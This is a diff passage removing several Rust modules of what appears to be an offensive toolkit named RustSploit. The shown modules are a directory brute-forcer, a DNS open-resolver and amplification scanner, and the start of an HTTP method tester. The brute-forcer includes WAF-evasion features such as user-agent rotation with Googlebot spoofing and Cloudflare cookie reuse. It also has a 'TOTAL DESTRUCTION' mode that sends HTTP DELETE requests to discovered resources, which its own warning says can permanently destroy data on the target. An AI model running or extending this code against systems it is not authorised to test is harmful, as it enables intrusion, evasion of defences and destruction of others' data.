writeln!(file, "Failed to read body: {}", e)?;
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
let body_len = body_bytes.len();
|
||||
let max_len = 1_000_000;
|
||||
let truncated = body_len > max_len;
|
||||
let body = if truncated {
|
||||
&body_bytes[..max_len]
|
||||
} else {
|
||||
&body_bytes[..]
|
||||
};
|
||||
|
||||
|
||||
writeln!(file, "=======================================================")?;
|
||||
writeln!(file, "Timestamp: {}", chrono::Local::now().to_rfc3339())?;
|
||||
writeln!(file, "Request: {} {}", method, url)?;
|
||||
writeln!(file, "User-Agent: {}", user_agent)?;
|
||||
writeln!(file, "-------------------------------------------------------")?;
|
||||
writeln!(file, "Status: {}", status)?;
|
||||
writeln!(file, "Headers:")?;
|
||||
|
||||
for (k, v) in headers.iter() {
|
||||
writeln!(file, " {}: {:?}", k, v)?;
|
||||
}
|
||||
writeln!(file, "Body Length: {} bytes", body.len())?;
|
||||
writeln!(file, "-------------------------------------------------------")?;
|
||||
|
||||
// Try to convert body to string for log, if utf8
|
||||
if let Ok(body_str) = String::from_utf8(body.to_vec()) {
|
||||
writeln!(file, "Body Preview{}:\n{}", if truncated { " (TRUNCATED)" } else { "" }, body_str)?;
|
||||
} else {
|
||||
writeln!(file, "Body is binary or non-UTF8")?;
|
||||
}
|
||||
writeln!(file, "=======================================================\n")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,471 +0,0 @@
|
||||
use anyhow::{Result, Context, anyhow};
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, header};
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use std::fs;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::sync::Semaphore;
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no, prompt_wordlist,
|
||||
normalize_target, load_lines, prompt_existing_file
|
||||
};
|
||||
use rand::seq::IndexedRandom;
|
||||
|
||||
// --- Constants & Data ---
|
||||
|
||||
const USER_AGENTS: &[&str] = &[
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
|
||||
"Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
|
||||
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
|
||||
"RustSploit/0.3",
|
||||
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
|
||||
];
|
||||
|
||||
const COMMON_STATUS_CODES: &[u16] = &[200, 201, 204, 301, 302, 307, 401, 403, 405, 421, 500];
|
||||
|
||||
// --- Configuration Structs ---
|
||||
|
||||
#[derive(Serialize, Deserialize, Debug, Clone)]
|
||||
pub struct DirBruteConfig {
|
||||
pub target_host: String,
|
||||
pub protocol: String, // http or https
|
||||
pub port: u16,
|
||||
pub base_path: String, // e.g. "/" or "/api/"
|
||||
pub wordlist_path: String,
|
||||
|
||||
// Scan Settings
|
||||
pub scan_mode: u8, // 1=GET, 2=NUKE (Safe), 3=DESTROY (Delete)
|
||||
pub concurrency: usize,
|
||||
pub delay_ms: u64,
|
||||
|
||||
// Evasion
|
||||
pub random_agent: bool,
|
||||
pub custom_cookies: Option<String>, // e.g. "cf_clearance=...; _cfduid=..."
|
||||
|
||||
// Reporting
|
||||
pub verbose: bool,
|
||||
}
|
||||
|
||||
impl Default for DirBruteConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
target_host: String::new(),
|
||||
protocol: "http".to_string(),
|
||||
port: 80,
|
||||
base_path: "/".to_string(),
|
||||
wordlist_path: String::new(),
|
||||
scan_mode: 1,
|
||||
concurrency: 10,
|
||||
delay_ms: 200,
|
||||
random_agent: false,
|
||||
custom_cookies: None,
|
||||
verbose: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Main Entry Point ---
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
|
||||
// 1. Wizard Menu
|
||||
println!("{}", "Select Operation Mode:".cyan().bold());
|
||||
println!("1. Quick Attack (Default Settings)");
|
||||
println!("2. Create Template (Wizard -> Save)");
|
||||
println!("3. Load Template (Load -> Run)");
|
||||
println!("4. Custom Attack (Wizard -> Run)");
|
||||
|
||||
let choice = prompt_default("Selection", "1")?;
|
||||
|
||||
let config = match choice.as_str() {
|
||||
"1" => setup_quick_attack(target).await?,
|
||||
"2" => {
|
||||
let cfg = setup_wizard(target).await?;
|
||||
save_template(&cfg).await?;
|
||||
println!("\n{}", "Template saved. Exiting module.".green());
|
||||
return Ok(());
|
||||
},
|
||||
"3" => load_template().await?,
|
||||
"4" => setup_wizard(target).await?,
|
||||
_ => {
|
||||
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
|
||||
setup_quick_attack(target).await?
|
||||
}
|
||||
};
|
||||
|
||||
// 2. Execution
|
||||
execute_scan(config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Advanced Directory Brute Force ║".cyan());
|
||||
println!("{}", "║ Features: Nuke Mode, WAF Evasion, Config Manager ║".red());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// --- Setup Helpers ---
|
||||
|
||||
async fn setup_quick_attack(initial_target: &str) -> Result<DirBruteConfig> {
|
||||
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Wordlist
|
||||
let wordlist = prompt_wordlist("Wordlist path")?;
|
||||
|
||||
Ok(DirBruteConfig {
|
||||
target_host: host,
|
||||
protocol: proto,
|
||||
port,
|
||||
base_path: path,
|
||||
wordlist_path: wordlist,
|
||||
verbose: false,
|
||||
..DirBruteConfig::default()
|
||||
})
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
|
||||
println!("\n{}", "--- Advanced Configuration Wizard ---".blue().bold());
|
||||
|
||||
// 1. Target
|
||||
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
|
||||
|
||||
// 2. Scan Mode
|
||||
println!("\n{}", "Select Scan Mode:".cyan());
|
||||
println!("1. Standard (GET only) - [Recommended]");
|
||||
println!("2. Nuke Mode (GET, POST, PUT, HEAD, OPTIONS...) - Noisy!");
|
||||
println!("3. TOTAL DESTRUCTION (Level 2 + DELETE) - DANGEROUS");
|
||||
|
||||
let mode_str = prompt_default("Mode", "1")?;
|
||||
let scan_mode = match mode_str.as_str() {
|
||||
"3" => {
|
||||
println!("\n{}", "!!! CRITICAL WARNING !!!".on_red().white().bold());
|
||||
println!("{}", "You have selected TOTAL DESTRUCTION mode.".red().bold());
|
||||
println!("This will attempt HTTP DELETE method on discovered resources.");
|
||||
println!("This can PERMANENTLY DESTROY data on the target server.");
|
||||
let confirm = prompt_required("Type 'DESTROY' to confirm")?;
|
||||
if confirm != "DESTROY" {
|
||||
println!("{}", "Confirmation failed. Reverting to Standard Mode.".yellow());
|
||||
1
|
||||
} else {
|
||||
3
|
||||
}
|
||||
},
|
||||
"2" => {
|
||||
println!("\n{}", "[!] Warning: Nuke Mode sends multiple requests per path.".yellow());
|
||||
if prompt_yes_no("Continue?", true)? { 2 } else { 1 }
|
||||
},
|
||||
_ => 1
|
||||
};
|
||||
|
||||
// 3. Wordlist
|
||||
let wordlist = prompt_wordlist("Wordlist path")?;
|
||||
|
||||
// 4. Performance
|
||||
let concurrency: usize = prompt_default("Concurrency (Threads)", "10")?.parse().unwrap_or(10);
|
||||
let delay_ms: u64 = prompt_default("Delay per request (ms)", "200")?.parse().unwrap_or(200);
|
||||
|
||||
// 5. Evasion
|
||||
let random_agent = prompt_yes_no("Use Random User-Agents?", false)?;
|
||||
|
||||
let custom_cookies = if prompt_yes_no("Configure Custom Cookies (WAF/Cloudflare)?", false)? {
|
||||
println!("{}", "Enter cookie string (e.g. 'cf_clearance=XXX; _cfduid=YYY')".dimmed());
|
||||
Some(prompt_required("Cookies")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
// 6. Reporting
|
||||
let verbose = prompt_yes_no("Verbose Output (show 403s)?", false)?;
|
||||
|
||||
Ok(DirBruteConfig {
|
||||
target_host: host,
|
||||
protocol: proto,
|
||||
port,
|
||||
base_path: path,
|
||||
wordlist_path: wordlist,
|
||||
scan_mode,
|
||||
concurrency,
|
||||
delay_ms,
|
||||
random_agent,
|
||||
custom_cookies,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
// Interactive target parser logic
|
||||
async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, String)> {
|
||||
// Basic normalization from utils
|
||||
let resolved_ip = if raw.is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
} else {
|
||||
let normalized = normalize_target(raw)?;
|
||||
// strip port if present in normalized, we ask for it separately to allow http/https logic
|
||||
if let Some((host, _)) = normalized.split_once(':') {
|
||||
host.to_string()
|
||||
} else {
|
||||
normalized
|
||||
}
|
||||
};
|
||||
|
||||
let use_https = prompt_yes_no("Use HTTPS?", true)?;
|
||||
let proto = if use_https { "https".to_string() } else { "http".to_string() };
|
||||
|
||||
let def_port = if use_https { "443" } else { "80" };
|
||||
let port: u16 = prompt_default(&format!("Port (default {})", def_port), def_port)?
|
||||
.parse()
|
||||
.context("Invalid port")?;
|
||||
|
||||
let path_input = prompt_default("Base Path (must end with /)", "/")?;
|
||||
|
||||
// Slash check logic
|
||||
let path = if !path_input.ends_with('/') {
|
||||
if prompt_yes_no("Path does not end with '/'. Append it?", true)? {
|
||||
format!("{}/", path_input)
|
||||
} else {
|
||||
if !prompt_yes_no("Continue without trailing slash? (May break scanning)", false)? {
|
||||
return Err(anyhow!("Aborted by user due to path format."));
|
||||
}
|
||||
path_input
|
||||
}
|
||||
} else {
|
||||
path_input
|
||||
};
|
||||
|
||||
Ok((proto, resolved_ip, port, path))
|
||||
}
|
||||
|
||||
// --- Persistence ---
|
||||
|
||||
async fn save_template(config: &DirBruteConfig) -> Result<()> {
|
||||
let name = prompt_default("Template Name (e.g. 'myscan.json')", "scan_template.json")?;
|
||||
let json = serde_json::to_string_pretty(config)?;
|
||||
fs::write(&name, json).context("Failed to write template file")?;
|
||||
println!("Saved config to {}", name);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn load_template() -> Result<DirBruteConfig> {
|
||||
let path = prompt_existing_file("Template File Path")?;
|
||||
let content = fs::read_to_string(&path)?;
|
||||
let config: DirBruteConfig = serde_json::from_str(&content).context("Invalid template format")?;
|
||||
|
||||
println!("{}", "Loaded Configuration:".green());
|
||||
println!("Target: {}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
|
||||
println!("Mode: Level {}", config.scan_mode);
|
||||
println!("Wordlist: {}", config.wordlist_path);
|
||||
|
||||
if !prompt_yes_no("Run this configuration?", true)? {
|
||||
return Err(anyhow!("User cancelled after loading template."));
|
||||
}
|
||||
|
||||
Ok(config)
|
||||
}
|
||||
|
||||
// --- Execution Engine ---
|
||||
|
||||
struct ScanResult {
|
||||
path: String,
|
||||
method: String,
|
||||
status: u16,
|
||||
len: u64,
|
||||
}
|
||||
|
||||
async fn execute_scan(config: DirBruteConfig) -> Result<()> {
|
||||
let lines = load_lines(&config.wordlist_path)?;
|
||||
let total = lines.len();
|
||||
println!("\n{}", format!("Loaded {} words. Starting scan...", total).blue().bold());
|
||||
|
||||
let base_url = format!("{}://{}:{}{}", config.protocol, config.target_host, config.port, config.base_path);
|
||||
|
||||
// Build Client
|
||||
let mut headers = header::HeaderMap::new();
|
||||
if let Some(cookies) = &config.custom_cookies {
|
||||
headers.insert(header::COOKIE, cookies.parse().context("Invalid cookie string")?);
|
||||
}
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()?;
|
||||
|
||||
let sem = Arc::new(Semaphore::new(config.concurrency));
|
||||
let results_mutex = Arc::new(tokio::sync::Mutex::new(Vec::new()));
|
||||
let forbidden_count = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let methods = get_methods_for_mode(config.scan_mode);
|
||||
let delay = Duration::from_millis(config.delay_ms);
|
||||
|
||||
println!("{}", format!("Target Base: {}", base_url).cyan());
|
||||
println!("{}", "Press Ctrl+C to stop (handler not implemented, so just wait)".dimmed());
|
||||
println!("{}", "---------------------------------------------------");
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for word in lines {
|
||||
let sem = Arc::clone(&sem);
|
||||
let client = client.clone();
|
||||
let base = base_url.clone();
|
||||
let r_mutex = Arc::clone(&results_mutex);
|
||||
let f_count = Arc::clone(&forbidden_count);
|
||||
let methods = methods.clone();
|
||||
|
||||
let config_verbose = config.verbose;
|
||||
let random_agent = config.random_agent;
|
||||
|
||||
let task: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = sem.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
// Apply delay
|
||||
if delay.as_millis() > 0 {
|
||||
tokio::time::sleep(delay).await;
|
||||
}
|
||||
|
||||
let url = format!("{}{}", base, word);
|
||||
|
||||
for method in methods {
|
||||
let mut req_builder = client.request(method.clone(), &url);
|
||||
|
||||
if random_agent {
|
||||
let agent = USER_AGENTS.choose(&mut rand::rng()).unwrap_or(&"RustSploit");
|
||||
req_builder = req_builder.header(header::USER_AGENT, *agent);
|
||||
} else {
|
||||
req_builder = req_builder.header(header::USER_AGENT, "RustSploit/0.3");
|
||||
}
|
||||
|
||||
match req_builder.send().await {
|
||||
Ok(resp) => {
|
||||
let status = resp.status().as_u16();
|
||||
let len = resp.content_length().unwrap_or(0);
|
||||
|
||||
// Special handling for 403 Forbidden
|
||||
if status == 403 {
|
||||
f_count.fetch_add(1, Ordering::Relaxed);
|
||||
if !config_verbose {
|
||||
continue; // Skip printing if not verbose
|
||||
}
|
||||
}
|
||||
|
||||
// Determine if "Interesting"
|
||||
if COMMON_STATUS_CODES.contains(&status) {
|
||||
let method_str = method.as_str();
|
||||
|
||||
// Enhanced Color Logic
|
||||
let status_display = if status >= 200 && status < 300 {
|
||||
format!("{} {}", "[FOUND]".green().bold(), status.to_string().green())
|
||||
} else if status >= 300 && status < 400 {
|
||||
format!("{} {}", "[REDIR]".blue().bold(), status.to_string().blue())
|
||||
} else if status >= 500 {
|
||||
format!("{} {}", "[ERROR]".red().bold(), status.to_string().red())
|
||||
} else if status == 403 || status == 401 {
|
||||
format!("{} {}", "[AUTH]".yellow().bold(), status.to_string().yellow())
|
||||
} else {
|
||||
format!("[{}]", status).white().to_string()
|
||||
};
|
||||
|
||||
println!("{} Size: {} | Method: {} | {}",
|
||||
status_display,
|
||||
len.to_string().dimmed(),
|
||||
method_str.bold(),
|
||||
url
|
||||
);
|
||||
|
||||
let res = ScanResult {
|
||||
path: url.clone(),
|
||||
method: method.to_string(),
|
||||
status,
|
||||
len,
|
||||
};
|
||||
r_mutex.lock().await.push(res);
|
||||
}
|
||||
}
|
||||
Err(_) => {}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
tasks.push(task);
|
||||
}
|
||||
|
||||
// Await all
|
||||
for t in tasks {
|
||||
let _ = t.await;
|
||||
}
|
||||
|
||||
println!("\n{}", "Scan Complete.".green().bold());
|
||||
|
||||
// 403 Summary
|
||||
let f_total = forbidden_count.load(Ordering::Relaxed);
|
||||
if f_total > 0 && !config.verbose {
|
||||
println!("{}", format!("[*] Aggregated {} '403 Forbidden' responses. (Use verbose mode to see them)", f_total).yellow());
|
||||
}
|
||||
|
||||
// Report & Save
|
||||
let final_results = results_mutex.lock().await;
|
||||
if !final_results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let sort_choice = prompt_default("Sort by (1) Status or (2) Size", "1")?;
|
||||
|
||||
let mut sorted: Vec<&ScanResult> = final_results.iter().collect();
|
||||
if sort_choice == "2" {
|
||||
sorted.sort_by(|a, b| b.len.cmp(&a.len)); // Size desc
|
||||
} else {
|
||||
sorted.sort_by(|a, b| a.status.cmp(&b.status)); // Status asc
|
||||
}
|
||||
|
||||
let filename = format!("scan_results_{}.txt", chrono::Local::now().format("%Y%m%d_%H%M%S"));
|
||||
let mut file_content = String::new();
|
||||
for r in sorted {
|
||||
use std::fmt::Write;
|
||||
writeln!(file_content, "[{}] {} | Size: {} | Method: {} | {}",
|
||||
r.status, get_status_text(r.status), r.len, r.method, r.path).context("Failed to write to buffer")?;
|
||||
}
|
||||
|
||||
fs::write(&filename, file_content)?;
|
||||
println!("Results saved to {}", filename.green());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn get_methods_for_mode(mode: u8) -> Vec<Method> {
|
||||
match mode {
|
||||
3 => vec![
|
||||
Method::GET, Method::POST, Method::PUT, Method::DELETE,
|
||||
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
|
||||
Method::CONNECT
|
||||
],
|
||||
2 => vec![
|
||||
Method::GET, Method::POST, Method::PUT,
|
||||
Method::HEAD, Method::OPTIONS, Method::PATCH, Method::TRACE,
|
||||
Method::CONNECT
|
||||
],
|
||||
_ => vec![Method::GET], // Level 1
|
||||
}
|
||||
}
|
||||
|
||||
fn get_status_text(code: u16) -> &'static str {
|
||||
match code {
|
||||
200 => "OK",
|
||||
201 => "Created",
|
||||
204 => "No Content",
|
||||
301 => "Moved Permanently",
|
||||
302 => "Found",
|
||||
307 => "Temporary Redirect",
|
||||
401 => "Unauthorized",
|
||||
403 => "Forbidden",
|
||||
404 => "Not Found",
|
||||
405 => "Method Not Allowed",
|
||||
421 => "Misdirected Request",
|
||||
500 => "Internal Server Error",
|
||||
_ => "",
|
||||
}
|
||||
}
|
||||
@@ -1,307 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use tokio::time::{timeout, Duration};
|
||||
use crate::utils::{
|
||||
prompt_default, prompt_port,
|
||||
};
|
||||
|
||||
use hickory_client::client::{Client, ClientHandle};
|
||||
use hickory_proto::op::ResponseCode;
|
||||
use hickory_proto::rr::{DNSClass, Name, RecordType};
|
||||
use hickory_proto::udp::UdpClientStream;
|
||||
use hickory_proto::runtime::TokioRuntimeProvider;
|
||||
use hickory_proto::op::Message;
|
||||
use hickory_proto::xfer::DnsResponse;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct TargetSpec {
|
||||
input: String,
|
||||
host: String,
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
|
||||
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = vec![
|
||||
TargetSpec {
|
||||
input: initial_target.to_string(),
|
||||
host: initial_target.to_string(),
|
||||
port: None,
|
||||
}
|
||||
];
|
||||
|
||||
let needs_default_port = targets.iter().any(|t| t.port.is_none());
|
||||
let default_port = if needs_default_port {
|
||||
prompt_port("Default DNS port", 53)?
|
||||
} else {
|
||||
53
|
||||
};
|
||||
|
||||
let query_name_input = prompt_default("Domain to query", "google.com")?;
|
||||
let query_name = validate_domain_input(&query_name_input)?;
|
||||
|
||||
let record_input =
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
|
||||
let record_type = parse_record_type(&record_input)?;
|
||||
|
||||
println!(
|
||||
"[*] Prepared {} query for {} across {} target(s)",
|
||||
record_type,
|
||||
query_name,
|
||||
targets.len()
|
||||
);
|
||||
|
||||
let name = Name::from_str_relaxed(&query_name)
|
||||
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
let mut vulnerable_count = 0usize;
|
||||
let mut tested_count = 0usize;
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
println!();
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
let display = format_endpoint(&spec.host, port);
|
||||
println!(
|
||||
"\n[*] Processing target {} (input: {})",
|
||||
display.cyan(),
|
||||
spec.input
|
||||
);
|
||||
|
||||
tested_count += 1;
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Query failed for {}: {}", resolved_display, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets tested: {}", tested_count);
|
||||
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
|
||||
vulnerable_count.to_string().red().bold().to_string()
|
||||
} else {
|
||||
"0".green().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if vulnerable_count > 0 {
|
||||
println!();
|
||||
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
|
||||
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
|
||||
}
|
||||
}
|
||||
|
||||
async fn query_target(
|
||||
socket_addr: SocketAddr,
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
vulnerable_count: &mut usize,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
record_type, display_target
|
||||
);
|
||||
|
||||
let stream = UdpClientStream::builder(socket_addr, TokioRuntimeProvider::new())
|
||||
.build();
|
||||
|
||||
let (mut client, bg) =
|
||||
Client::connect(stream).await.context("Failed to initiate DNS client")?;
|
||||
tokio::spawn(bg);
|
||||
|
||||
let response: DnsResponse = timeout(
|
||||
Duration::from_secs(5),
|
||||
client.query(name.clone(), DNSClass::IN, record_type),
|
||||
)
|
||||
.await
|
||||
.context("DNS query timed out")?
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
let is_vulnerable = report_result(&message, display_target, record_type);
|
||||
|
||||
if is_vulnerable {
|
||||
*vulnerable_count += 1;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn report_result(message: &Message, display_target: &str, record_type: RecordType) -> bool {
|
||||
let recursion_available = message.recursion_available();
|
||||
let recursion_desired = message.recursion_desired();
|
||||
let authoritative = message.authoritative();
|
||||
let truncated = message.truncated();
|
||||
let rcode = message.response_code();
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] Response code: {:?} | Answers: {} | Authority: {} | Additional: {}",
|
||||
rcode,
|
||||
message.answers().len(),
|
||||
message.name_servers().len(),
|
||||
message.additionals().len()
|
||||
).dimmed()
|
||||
);
|
||||
|
||||
if truncated {
|
||||
println!("{}", "[!] Response was truncated (TC flag set).".yellow());
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Flags: RD={} RA={} AA={}", recursion_desired, recursion_available, authoritative).dimmed()
|
||||
);
|
||||
|
||||
if recursion_available && rcode != ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[+] {} appears to allow recursion (RA flag set) for {} {} queries.",
|
||||
display_target,
|
||||
record_type,
|
||||
if authoritative { "(authoritative data returned)" } else { "" }
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" This resolver may be abused for reflection/amplification attacks (ANY/DNSSEC)."
|
||||
.yellow()
|
||||
);
|
||||
true
|
||||
} else if recursion_available && rcode == ResponseCode::Refused {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} reports recursion available but refused the request (likely ACL protected).",
|
||||
display_target
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
false
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[-] {} does not appear to allow recursion (RA flag unset or query refused).",
|
||||
display_target
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_record_type(input: &str) -> Result<RecordType> {
|
||||
match input.trim().to_uppercase().as_str() {
|
||||
"A" => Ok(RecordType::A),
|
||||
"AAAA" => Ok(RecordType::AAAA),
|
||||
"ANY" => Ok(RecordType::ANY),
|
||||
"DNSKEY" => Ok(RecordType::DNSKEY),
|
||||
"TXT" => Ok(RecordType::TXT),
|
||||
"MX" => Ok(RecordType::MX),
|
||||
other => Err(anyhow!("Unsupported record type '{}'", other)),
|
||||
}
|
||||
}
|
||||
|
||||
async fn resolve_target(host: &str, port: u16) -> Result<(SocketAddr, String)> {
|
||||
if let Ok(ip) = host.parse::<IpAddr>() {
|
||||
let addr = SocketAddr::new(ip, port);
|
||||
return Ok((addr, format_endpoint(host, port)));
|
||||
}
|
||||
|
||||
let mut addrs_iter = (host, port)
|
||||
.to_socket_addrs()
|
||||
.with_context(|| format!("Unable to resolve '{}:{}'", host, port))?;
|
||||
let addr = addrs_iter
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("No socket addresses resolved for '{}:{}'", host, port))?;
|
||||
Ok((addr, addr.to_string()))
|
||||
}
|
||||
|
||||
// random_test_domain removed per request
|
||||
|
||||
// Unused local functions removed
|
||||
|
||||
fn format_endpoint(host: &str, port: u16) -> String {
|
||||
match host.parse::<IpAddr>() {
|
||||
Ok(IpAddr::V6(_)) => format!("[{}]:{}", host, port),
|
||||
_ => format!("{}:{}", host, port),
|
||||
}
|
||||
}
|
||||
|
||||
fn validate_domain_input(input: &str) -> Result<String> {
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if trimmed.len() > 253 {
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' is too long (maximum 253 characters)",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
let without_dot = trimmed.trim_end_matches('.');
|
||||
if without_dot.is_empty() {
|
||||
return Err(anyhow!("Domain cannot be empty"));
|
||||
}
|
||||
if without_dot
|
||||
.chars()
|
||||
.any(|c| !(c.is_ascii_alphanumeric() || c == '.' || c == '-' || c == '_'))
|
||||
{
|
||||
return Err(anyhow!(
|
||||
"Domain '{}' contains invalid characters. Allowed: A-Z, 0-9, '-', '_', '.'",
|
||||
trimmed
|
||||
));
|
||||
}
|
||||
Ok(without_dot.to_lowercase())
|
||||
}
|
||||
@@ -1,395 +0,0 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::Utc;
|
||||
use colored::*;
|
||||
use reqwest::{Client, Method, StatusCode, Url};
|
||||
use std::collections::HashSet;
|
||||
use std::fs;
|
||||
use std::io::Write;
|
||||
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
const METHODS: &[&str] = &[
|
||||
"GET",
|
||||
"POST",
|
||||
"HEAD",
|
||||
"OPTIONS",
|
||||
"PUT",
|
||||
"DELETE",
|
||||
"PATCH",
|
||||
"TRACE",
|
||||
"CONNECT",
|
||||
];
|
||||
|
||||
struct MethodResult {
|
||||
method: &'static str,
|
||||
status: Option<StatusCode>,
|
||||
ok: bool,
|
||||
error: Option<String>,
|
||||
duration_ms: u128,
|
||||
}
|
||||
|
||||
struct TargetResult {
|
||||
target: String,
|
||||
results: Vec<MethodResult>,
|
||||
}
|
||||
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
banner();
|
||||
|
||||
let mut targets = collect_initial_targets(initial_target);
|
||||
|
||||
let additional = prompt("Enter additional comma-separated targets (optional): ")?;
|
||||
if !additional.is_empty() {
|
||||
targets.extend(split_targets(&additional));
|
||||
}
|
||||
|
||||
let file_path = prompt("Path to file with targets (optional): ")?;
|
||||
if !file_path.is_empty() {
|
||||
let file_targets = load_targets_from_file(&file_path)?;
|
||||
targets.extend(file_targets);
